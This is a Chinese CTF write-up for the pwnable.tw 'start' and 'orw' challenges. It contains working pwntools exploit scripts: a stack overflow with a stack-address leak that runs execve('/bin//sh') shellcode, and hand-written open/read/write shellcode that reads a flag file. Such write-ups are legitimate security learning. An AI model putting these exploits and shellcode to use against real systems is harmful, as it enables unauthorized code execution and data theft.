天天看点

pwnable.tw start,orw学习

暑假开始刷pwnable.tw

start

这个反编译出来一开始看蒙了,不知道在干啥。后来仔细看看字节码,发现是系统调用write输出的stack上的内容。

pwnable.tw start,orw学习

后面是read函数,观察修改的寄存器内容

pwnable.tw start,orw学习
pwnable.tw start,orw学习

发现是read系统调用,输入数据大小为0x3c

然而buffer大小为0x14,这就产生了栈溢出。这里是把一个shellcode放到返回地址,那就需要知道返回的栈地址,这里比较巧妙。注意到

pwnable.tw start,orw学习

这里将打印esp地址中的数据,只要返回ret的时候调用,就可以输出esp地址,在下一次放在ret地址作为shellcode入口地址。

from pwn import *
context.log_level="debug"
p = process('./start')
# p = remote('chall.pwnable.tw', 10000)

payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
stack_addr = u32(p.recv(4))
print 'stack_addr: '+hex(stack_addr)

# pause()

shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
# gdb.attach(p,"b *0x0804809C")
p.send(payload)

p.interactive()
           

orw

这道题会直接执行shellcode,学到了两个点,一是怎么把字符串写到寄存器地址(利用push+move xxx,rsp)二是手工orw(本来可以用asm做,这里复习一下,发现原来fd记错了)

注意读取到的地址0x804a100在vmmap开辟的一段可写可读区域上

from pwn import *
# io = process('./orw')
io = remote('chall.pwnable.tw',10001)
context.arch="x86"


shellcode="""
mov eax,0x05
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80

mov eax,0x03
mov ebx,0x03
mov ecx,0x804a100
mov edx,0x30
int 0x80

mov eax,0x04
mov ebx,0x01
mov ecx,0x804a100
mov edx,0x30
int 0x80
"""


payload = asm(shellcode)


# gdb.attach(io,"b *0x0804858A")
io.sendline(payload)

io.interactive()